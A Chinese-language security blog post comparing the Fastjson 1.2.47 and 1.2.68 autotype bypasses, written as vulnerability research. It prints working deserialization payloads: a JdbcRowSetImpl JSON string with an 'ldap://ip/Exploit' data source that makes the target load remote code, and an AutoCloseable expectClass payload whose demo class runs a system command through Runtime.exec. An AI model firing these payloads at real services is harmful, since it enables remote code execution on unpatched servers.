Fastjson 47版本和68的绕过对比

Posted by 跳跳龙 on July 14, 2020

前言

前段时间,Fastjson 1.2.68再次出现安全更新。而且我大致浏览了一下,这次升级,不是简简单单的黑名单更新那么简单,而是我觉得会跟1.2.24,1.2.47一样,会成为fastjson安全的里程碑。截止到我正在写下这篇文章的时候,fastjson已经更新到了1.72。可以说更新的非常频繁。大家可以在github上compare一下69和68,看看做了哪些更新防护。

由于fastjson没有CVE编号,所以很多漏洞没有一个标准的描述影响到哪些版本。我自己呢也并没有专门的去搜集这些事情。但是在我的印象里,47版本的绕过方案,和这次68的绕过方案,算是比较有意思的。

47版本我上篇文章写过了,这里直接拿过来一起对比着看。

47版本

先花费时间把47的情况记录一下。POC如下:

String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://ip/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);

这个POC做了2层的嵌套。第一层是使用java.lang.Class。这个类不在黑名单里,可以先把JdbcRowSetImpl压入mappings容器中,这样在第二轮扫描到@type字段的时候,还会再次调用到checkAutoType函数,由于JdbcRowSetImpl在mappings容器中,所以不会进入到检测黑名单的if分支中就提前return了,实现了巧妙的绕过。(但是在47之前的一些版本中,由于if语句有变动,会导致一部分开启auto反而无法成功的情况,同时也有autotype开启与否都可以成功的情况,大家知道这个trick就可以了,本质上是由于if语句写法有更新导致的)。

在fastjson词法分析的函数中,首先扫描到第一个@type。将java.lang.Class传入checkAutoType函数。我这里没开autotype,所以会直接获取class,并成功返回

返回clazz之后,会进入到MiscCodec的deserialze反序列化函数中

在deserialze函数中,会把自己的val属性 也就是JDBCRowSetImpl loadclass。

在loadClass函数中,会对类压入mappings。这个mappings里的类就不会通过黑名单的校验了。 由于这个cache默认为true。所以会压入mappings

这一轮的扫描结束之后,等到下一次词法扫描再次扫描到@type的时候,同理,会把JdbcRowSetImpl带入checkAutoType中。 由于默认没开AutoType 所以不会进入到第一个if判断中 直接会从mapping中获取,提前return。不会进入到最后面没开autotype的黑名单检测了。

大致就是这样巧妙地将黑名单的类返回了。

相比于47的绕过思路,根据目前公开的68绕过的思路而言,68的绕过方式是有很大不同的。

68版本

目前,网络上是没有公开的针对68版本的gadgets的。目前公开的思路大多都是利用expectClass对checkAutoType进行绕过。可以说这次的绕过问题已经转移到从最开始针对黑白名单的绕过,到针对全局缓存mapping的绕过,最终目前达到了针对expectClass的绕过。安全研究没有拘泥于一个单点,而是将思路散开的方式。

那么使用师傅们公开的利用思路复现一下场景。

{"@type":"java.lang.AutoCloseable","@type":"org.lain.poc.A"}

A类的代码大致如下

public class A implements AutoCloseable {

    public A() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }

    @Override
    public void close() throws Exception {

    }
}

首先经过fastjson自实现的词法解析器,当解析到@type的时候,会第一次调用到checkAutoType,并成功返回。(AutoCloseable不在期望类的黑名单中)

所以会根据类型,进入到deserializer中,这个反序列化器是JavaBean反序列化器

在deserializer中,会第二次的调用到checkAutoType。在checkAutoType之前呢,会根据词法分析器,来生成对于的ref。

这个ref就是利用lexer的stringVal函数切割出新的类名,可以看见正好是从offset44开始切割。

拿到类名之后,expectClass就是AutoCloseable,进入到checkAutoType。

由于expectClass不为空,所以会成功返回。

以上就是68针对checkAutoType的绕过。

绕过思路的对比

从Fastjson最开始爆出的漏洞来看,就有很多人开始针对autotype表达了他的不满。但实际上autotype是存在他的使用场景的。

从Fastjson的绕过历史来看,24版本发现问题之后,基本上的绕过停留在通过在类名前后加一些loadClass函数会特殊处理的字符,到47版本使用全局缓存进行绕过,是恶意类加进缓存,达到白名单效果。再到目前使用白名单的另外一种方式,expectClass!每种绕过都可以说是脑洞大开,值得学习。